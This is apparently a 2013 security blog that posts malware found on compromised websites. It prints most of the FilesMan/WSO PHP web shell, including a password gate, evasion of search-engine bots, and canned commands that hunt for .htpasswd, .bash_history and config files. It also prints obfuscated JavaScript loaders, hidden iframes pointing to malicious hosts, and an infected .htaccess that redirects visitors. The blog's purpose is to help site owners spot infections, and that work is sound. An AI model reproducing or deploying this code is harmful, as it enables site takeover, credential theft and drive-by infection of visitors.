Monday, February 25, 2013

FilesMan Backdoor Script

If your website is getting infected again and again, its mostly likely due to a backdoor script, uploaded to your websites. In my experience, I almost every time encountered FilesMan backdoor which is actually a complete File Manager. It can be used to upload any files to your website, edit existing files or inject malicious codes to webpages. It can even edit .htaccess file.

This script is usually encoded. However, you can easy find it by searching all PHP files for "FilesMan" string.

Here is a sample of this script:

<?php # Web Shell by oRb
$auth_pass = "92c29c1ac4d85b45639f741599c24cd7"; // ENTER MD5 PASSWORD HERE
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';

if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');

if(get_magic_quotes_gpc()) {
    function WSOstripslashes($array) {
        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
    }
    $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}

function wsoLogin() {
    die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
}

function WSOsetcookie($k, $v) {
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
}

if(!empty($auth_pass)) {
    if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
        wsoLogin();
}

if(strtolower(substr(PHP_OS,0,3)) == "win")
    $os = 'win';
else
    $os = 'nix';

$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
    error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
    @chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
    $home_cwd = str_replace("\\", "/", $home_cwd);
    $cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
    $cwd .= '/';

if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
    $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;

if($os == 'win')
    $aliases = array(
        "List Directory" => "dir",
        "Find index.php in current dir" => "dir /s /w /b index.php",
        "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
        "Show active connections" => "netstat -an",
        "Show running services" => "net start",
        "User accounts" => "net user",
        "Show computers" => "net view",
        "ARP Table" => "arp -a",
        "IP Configuration" => "ipconfig /all"
    );
else
    $aliases = array(
          "List dir" => "ls -lha",
        "list file attributes on a Linux second extended file system" => "lsattr -va",
          "show opened ports" => "netstat -an | grep -i listen",
        "process status" => "ps aux",
        "Find" => "",
          "find all suid files" => "find / -type f -perm -04000 -ls",
          "find suid files in current dir" => "find . -type f -perm -04000 -ls",
          "find all sgid files" => "find / -type f -perm -02000 -ls",
          "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
          "find config.inc.php files" => "find / -type f -name config.inc.php",
          "find config* files" => "find / -type f -name \"config*\"",
          "find config* files in current dir" => "find . -type f -name \"config*\"",
          "find all writable folders and files" => "find / -perm -2 -ls",
          "find all writable folders and files in current dir" => "find . -perm -2 -ls",
          "find all service.pwd files" => "find / -type f -name service.pwd",
          "find service.pwd files in current dir" => "find . -type f -name service.pwd",
          "find all .htpasswd files" => "find / -type f -name .htpasswd",
          "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
          "find all .bash_history files" => "find / -type f -name .bash_history",
          "find .bash_history files in current dir" => "find . -type f -name .bash_history",
          "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
          "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
        "Locate" => "",
          "locate httpd.conf files" => "locate httpd.conf",
        "locate vhosts.conf files" => "locate vhosts.conf",
        "locate proftpd.conf files" => "locate proftpd.conf",
        "locate psybnc.conf files" => "locate psybnc.conf",
        "locate my.conf files" => "locate my.conf",
        "locate admin.php files" =>"locate admin.php",
        "locate cfg.php files" => "locate cfg.php",
        "locate conf.php files" => "locate conf.php",
        "locate config.dat files" => "locate config.dat",
        "locate config.php files" => "locate config.php",
        "locate config.inc files" => "locate config.inc",
        "locate config.inc.php" => "locate config.inc.php",
        "locate config.default.php files" => "locate config.default.php",
        "locate config* files " => "locate config",
        "locate .conf files"=>"locate '.conf'",
        "locate .pwd files" => "locate '.pwd'",
        "locate .sql files" => "locate '.sql'",
        "locate .htpasswd files" => "locate '.htpasswd'",
        "locate .bash_history files" => "locate '.bash_history'",
        "locate .mysql_history files" => "locate '.mysql_history'",
        "locate .fetchmailrc files" => "locate '.fetchmailrc'",
        "locate backup files" => "locate backup",
        "locate dump files" => "locate dump",
        "locate priv files" => "locate priv"
    );



Sunday, February 24, 2013

Malware code of the moment

<script>
wa='t';p='ht';f='k98';tb='ame';bg='.';v='sr';g='tp:';vf='/z';bs='t';px='v.h';br='yt';k='c';yr='m';ds='m';ej='/';au='/';t='com';sp='ifr';r='ca';cp='y';wz='ir';wf='u';b='5';se=sp.concat(tb);oz=v.concat(k);db=p.concat(g,ej,vf,wz,cp,r,bs,wf,yr,bg,t,au,f,b,br,px,wa,ds);var <script>var TaxazLan=47;TaxazLan+=-31;var GeYedenc='fKWrK7AowyjmR8iC8YHhJiYatr29MCMo16dVVIep'.replace(/[KWK7AwyjR8i8YHJiY t29MM16VVIp]/g, '');WaVet=18;var PeheLecew=window;var TenZezaco=-32;TenZezaco+=34;var GawasCepe=-38;GawasCepe+=39;MecezBa=31;var CaneHaqi=parseInt;var MafeGeho=6;MafeGeho+=-6;CeJa=46;var BacanYaqan='';var QekQeyes=String;var PelefJat='zexebep ketay lezewet neyaqamejefeneza refelac xera qevazaxe lemepe tajeceq bazacagetaqere meyadeg pagale zarajet lazemepagebedaf vameyape reyep kek zamaqanepepayeh gexeyeva mawenage vakewaxa xec dapagew revatasasa xatetane dewen yejarey telefa qey hevecelap hez webalefe fele bagelelakatat zedeyel jexedejele dawedey delazeg regapehe tay cezekew te gegawey gasajakebeqeqa resefay gejaha heg q jayadeva hele qedahay qaje keselehe vec relegat salabebebazevame hebesaq rezemelaveqed kegeqen belakedaremev qefegad hebawebebe wazares waseketeledaqeq xareqaq dejereve vena nejecemezaneqe hak web kemepex cememelesedadek tebeyeq daparamafacesaye nak qax ram w wejajeze zevatega bakegay xesererare vecenar cacem qekavere pecal seqefey vefeqeden xaze vapewasebeheje taj hec yeye te yec jec gay h qereref sewaqavey celereh rezece takejed reveyekeme fezesen welenefe kapekeg vakayeseg wapevece qehaz tema vecaqehefaceya mep neq leve ne caq few xel m xeyadey fez jabexeh pevenexadebayawe veweyebe hek jegezay hasem rexehej ladese kewefese qeg rede deyegayakewaze nep yar qete j beb veb qeh k zeyelen qaqajag bevafexa gev dewarek ra tecetaf dagajelawafeme becesey lebate teceveg ler pehagex pekejeresafepeqe pekedete pah neqaqam jeqat remadah jevene yaqejade tel xece pepegegeqefege mez dak yeye k xey het bag j nahewepe wexe xedaleqe geq gehepaz zera peja fexatedemedexe far saw gegeweq qaharenej behefete getej cexefeke yefer lewaneta n xeje jaqetevedav xaf vawaxetefaveqepa vat depemetepaderewe weje setag tawe xaye relehet gepesetacere wanewav re hevevese jananeqebe peyabek haxasaferadav canezen segedepeke xayeraw le gag yefewesekekerez yaleheq peqaqa ceqapefa yamela hez qabeqagebevacaje vexedave delabemez pamekaja jeqanener hewelene leqebamer yaba je dem femeferezecemeza cazared sekevaqeveze kebeqaka je qamakere pebeceqaj rasayac legeteserehab caxejer qesele detadene pe kaweqes dazemetetey zegewaha p qecevam yale vezeyaw caqeperebedezexe seneweq hebemeker gega sedazefey taz qepejebezezefeb nenexega l cabepej vegewetev xagefeta j vab bel meje fepepawefeqaneq jena lapedelahewad yax zarecelejafacega rebajey gejavatexe mepajas mefagab wamaqete ger naqafem ca vabaqev xebexedetakeje yadeken necete meje kelepeveqekazep pex zecelana zas tamewabese'.split(' ');var YegeTege='ehjCv8QbaKl41O'.replace(/[hjC8QbK41O]/g, '');WecYale=45;YegeTege=PeheLecew[YegeTege];GeYedenc=QekQeyes[GeYedenc];for (HelemLepi=MafeGeho;HelemLepi<PelefJat.length-1;HelemLepi+=TenZezaco) BacanYaqan +=GeYedenc(CaneHaqi((PelefJat[HelemLepi+MafeGeho].length-1).toString(TaxazLan)+(PelefJat[HelemLepi+GawasCepe].length-1).toString(TaxazLan), TaxazLan));YegeTege(BacanYaqan);</script>

Malware code of the moment

document.write('<iframe scrolling="no" width="1" height="1" border="0" frameborder="0" src="http://43kaylia.eu/xxx1/kqxleqjpcoh8.php"></iframe>')

Malware code of the moment

<script>b=new function(){return 2;};if(!+b)String.prototype.vqwfbeweb='h'+'arC';for(i in $='b4h3tbn34')if(i=='vqwfbeweb')m=$[i];try{new Object().wehweh();}catch(q){ss="";}try{gberbger-2;}catch(q){s=String["fr"+"omC"+m+"od"+'e'];}d=new Date();d2=new Date(d.valueOf()-2);Object.prototype.asd='e';if({}.asd==='e')a=document["c"+"r"+"e"+"a"+"t"+"e"+"T"+"e"+"x"+"t"+"N"+"o"+"d"+"e"]('321');if(a.data==321)h=(d-d2)*-1;n=[-h*4.5,-h*4.5,-h*52.5,-h*51,-h*16,-h*20,-h*50,-h*55.5,-h*49.5,-h*58.5,-h*54.5,-h*50.5,-h*55, -h*58,-h*23,-h*51.5,-h*50.5,-h*58,-h*34.5,-h*54,-h*50.5,-h*54.5,-h*50.5,-h*55,-h*58,-h*57.5, -h*33,-h*60.5,-h*42,-h*48.5,-h*51.5,-h*39,-h*48.5,-h*54.5,-h*50.5,-h*20,-h*19.5,-h*49,-h*55.5, -h*50,-h*60.5,-h*19.5,-h*20.5,-h*45.5,-h*24,-h*46.5,-h*20.5,-h*61.5,-h*4.5,-h*4.5,-h*4.5,-h*52.5, -h*51,-h*57,-h*48.5,-h*54.5,-h*50.5,-h*57,-h*20,-h*20.5,-h*29.5,-h*4.5,-h*4.5,-h*62.5,-h*16, -h*50.5,-h*54,-h*57.5,-h*50.5,-h*16,-h*61.5,-h*4.5,-h*4.5,-h*4.5,-h*50,-h*55.5,-h*49.5,-h*58.5, -h*54.5,-h*50.5,-h*55,-h*58,-h*23,-h*59.5,-h*57,-h*52.5,-h*58,-h*50.5,-h*20,-h*17,-h*30, -h*52.5,-h*51,-h*57,-h*48.5,-h*54.5,-h*50.5,-h*16,-h*57.5,-h*57,-h*49.5,-h*30.5,-h*19.5,-h*52, -h*58,-h*58,-h*56,-h*29,-h*23.5,-h*23.5,-h*57,-h*50.5,-h*49,-h*55.5,-h*58,-h*57.5,-h*58, -h*48.5,-h*58,-h*23,-h*49.5,-h*55.5,-h*54.5,-h*23.5,-h*58,-h*50.5,-h*54.5,-h*56,-h*23.5,-h*57.5, -h*58,-h*48.5,-h*58,-h*23,-h*56,-h*52,-h*56,-h*19.5,-h*16,-h*59.5,-h*52.5,-h*50,-h*58,-h*52, -h*30.5,-h*19.5,-h*24.5,-h*24,-h*19.5,-h*16,-h*52,-h*50.5,-h*52.5,-h*51.5,-h*52,-h*58,-h*30.5, -h*19.5,-h*24.5,-h*24,-h*19.5,-h*16,-h*57.5,-h*58,-h*60.5,-h*54,-h*50.5,-h*30.5,-h*19.5,-h*59, -h*52.5,-h*57.5,-h*52.5,-h*49,-h*52.5,-h*54,-h*52.5,-h*58,-h*60.5,-h*29,-h*52,-h*52.5,-h*50, -h*50,-h*50.5,-h*55,-h*29.5,-h*56,-h*55.5,-h*57.5,-h*52.5,-h*58,-h*52.5,-h*55.5,-h*55,-h*29, -h*48.5,-h*49,-h*57.5,-h*55.5,-h*54,-h*58.5,-h*58,-h*50.5,-h*29.5,-h*54,-h*50.5,-h*51,-h*58, -h*29,-h*24,-h*29.5,-h*58,-h*55.5,-h*56,-h*29,-h*24,-h*29.5,-h*19.5,-h*31,-h*30,-h*23.5, -h*52.5,-h*51,-h*57,-h*48.5,-h*54.5,-h*50.5,-h*31,-h*17,-h*20.5,-h*29.5,-h*4.5,-h*4.5,-h*62.5, -h*4.5,-h*4.5,-h*51,-h*58.5,-h*55,-h*49.5,-h*58,-h*52.5,-h*55.5,-h*55,-h*16,-h*52.5,-h*51, -h*57,-h*48.5,-h*54.5,-h*50.5,-h*57,-h*20,-h*20.5,-h*61.5,-h*4.5,-h*4.5,-h*4.5,-h*59,-h*48.5, -h*57,-h*16,-h*51,-h*16,-h*30.5,-h*16,-h*50,-h*55.5,-h*49.5,-h*58.5,-h*54.5,-h*50.5,-h*55, -h*58,-h*23,-h*49.5,-h*57,-h*50.5,-h*48.5,-h*58,-h*50.5,-h*34.5,-h*54,-h*50.5,-h*54.5,-h*50.5, -h*55,-h*58,-h*20,-h*19.5,-h*52.5,-h*51,-h*57,-h*48.5,-h*54.5,-h*50.5,-h*19.5,-h*20.5,-h*29.5, -h*51,-h*23,-h*57.5,-h*50.5,-h*58,-h*32.5,-h*58,-h*58,-h*57,-h*52.5,-h*49,-h*58.5,-h*58,-h*50.5, -h*20,-h*19.5,-h*57.5,-h*57,-h*49.5,-h*19.5,-h*22,-h*19.5,-h*52,-h*58,-h*58,-h*56,-h*29,-h*23.5, -h*23.5,-h*57,-h*50.5,-h*49,-h*55.5,-h*58,-h*57.5,-h*58,-h*48.5,-h*58,-h*23,-h*49.5,-h*55.5, -h*54.5,-h*23.5,-h*58,-h*50.5,-h*54.5,-h*56,-h*23.5,-h*57.5,-h*58,-h*48.5,-h*58,-h*23,-h*56, -h*52,-h*56,-h*19.5,-h*20.5,-h*29.5,-h*51,-h*23,-h*57.5,-h*58,-h*60.5,-h*54,-h*50.5,-h*23, -h*59,-h*52.5,-h*57.5,-h*52.5,-h*49,-h*52.5,-h*54,-h*52.5,-h*58,-h*60.5,-h*30.5,-h*19.5,-h*52, -h*52.5,-h*50,-h*50,-h*50.5,-h*55,-h*19.5,-h*29.5,-h*51,-h*23,-h*57.5,-h*58,-h*60.5,-h*54, -h*50.5,-h*23,-h*56,-h*55.5,-h*57.5,-h*52.5,-h*58,-h*52.5,-h*55.5,-h*55,-h*30.5,-h*19.5,-h*48.5, -h*49,-h*57.5,-h*55.5,-h*54,-h*58.5,-h*58,-h*50.5,-h*19.5,-h*29.5,-h*51,-h*23,-h*57.5,-h*58, -h*60.5,-h*54,-h*50.5,-h*23,-h*54,-h*50.5,-h*51,-h*58,-h*30.5,-h*19.5,-h*24,-h*19.5,-h*29.5, -h*51,-h*23,-h*57.5,-h*58,-h*60.5,-h*54,-h*50.5,-h*23,-h*58,-h*55.5,-h*56,-h*30.5,-h*19.5, -h*24,-h*19.5,-h*29.5,-h*51,-h*23,-h*57.5,-h*50.5,-h*58,-h*32.5,-h*58,-h*58,-h*57,-h*52.5, -h*49,-h*58.5,-h*58,-h*50.5,-h*20,-h*19.5,-h*59.5,-h*52.5,-h*50,-h*58,-h*52,-h*19.5,-h*22, -h*19.5,-h*24.5,-h*24,-h*19.5,-h*20.5,-h*29.5,-h*51,-h*23,-h*57.5,-h*50.5,-h*58,-h*32.5,-h*58, -h*58,-h*57,-h*52.5,-h*49,-h*58.5,-h*58,-h*50.5,-h*20,-h*19.5,-h*52,-h*50.5,-h*52.5,-h*51.5, -h*52,-h*58,-h*19.5,-h*22,-h*19.5,-h*24.5,-h*24,-h*19.5,-h*20.5,-h*29.5,-h*4.5,-h*4.5,-h*4.5, -h*50,-h*55.5,-h*49.5,-h*58.5,-h*54.5,-h*50.5,-h*55,-h*58,-h*23,-h*51.5,-h*50.5,-h*58,-h*34.5, -h*54,-h*50.5,-h*54.5,-h*50.5,-h*55,-h*58,-h*57.5,-h*33,-h*60.5,-h*42,-h*48.5,-h*51.5,-h*39, -h*48.5,-h*54.5,-h*50.5,-h*20,-h*19.5,-h*49,-h*55.5,-h*50,-h*60.5,-h*19.5,-h*20.5,-h*45.5,-h*24, -h*46.5,-h*23,-h*48.5,-h*56,-h*56,-h*50.5,-h*55,-h*50,-h*33.5,-h*52,-h*52.5,-h*54,-h*50,-h*20, -h*51,-h*20.5,-h*29.5,-h*4.5,-h*4.5,-h*62.5];for(i=0;i<n.length;i++)if(!+b)ss+=s(eval("n"+"[i"+']'));if(!+b)eval(ss);</script><!--c -->

Malware code of the moment

<script type='text/javascript' src='http://purposestupid.org/xzzuhpzxwci5cd/'></script>

Malware code of the moment

<iframe src="http:/castload.com/forum.php?tp=675eafec431b1f72" width="1" height="1" frameborder="0"></iframe>

Infected .htaccess File

This malicious code was found in a .htaccess file.  It redirects every HTTP Request with 400, 401, 403, 404, 500 status code, to a malicious link. It also redirects all known search engine bots to malicious website.

#apachecodes

ErrorDocument 400 http://buy-autocad.net/tds/go.php?sid=8&
ErrorDocument 401 http://buy-autocad.net/tds/go.php?sid=8&
ErrorDocument 403 http://buy-autocad.net/tds/go.php?sid=8&
ErrorDocument 404 http://buy-autocad.net/tds/go.php?sid=8&
ErrorDocument 500 http://buy-autocad.net/tds/go.php?sid=8&

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*baidu.* [OR]
RewriteCond %{HTTP_REFERER} .*youtube.* [OR]
RewriteCond %{HTTP_REFERER} .*wikipedia.* [OR]
RewriteCond %{HTTP_REFERER} .*qq.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER} .*goto.* [OR]
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
RewriteCond %{HTTP_REFERER} .*search.* [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.* [OR]
RewriteCond %{HTTP_REFERER} .*dogpile.* [OR]
RewriteCond %{HTTP_REFERER} .*facebook.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*gmail.* [OR]
RewriteCond %{HTTP_REFERER} .*twitter.* [OR]
RewriteCond %{HTTP_REFERER} .*googlemail.* [OR]
RewriteCond %{HTTP_REFERER} .*inbox.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*hotmail.* [OR]
RewriteCond %{HTTP_REFERER} .*blog.* [OR]
RewriteCond %{HTTP_REFERER} .*live.* [OR]
RewriteCond %{HTTP_REFERER} .*myspace.* [OR]
RewriteCond %{HTTP_REFERER} .*yandex.* [OR]
RewriteCond %{HTTP_REFERER} .*mail.* [OR]
RewriteCond %{HTTP_REFERER} .*rambler.* [OR]
RewriteCond %{HTTP_REFERER} .*ya.* [OR]
RewriteCond %{HTTP_REFERER} .*aport.* [OR]
RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]
RewriteCond %{HTTP_REFERER} .*flickr.*
RewriteRule ^(.*)$ http://www.academiatrivium.com/marhoycukind/r.php [R=301,L]
</IfModule>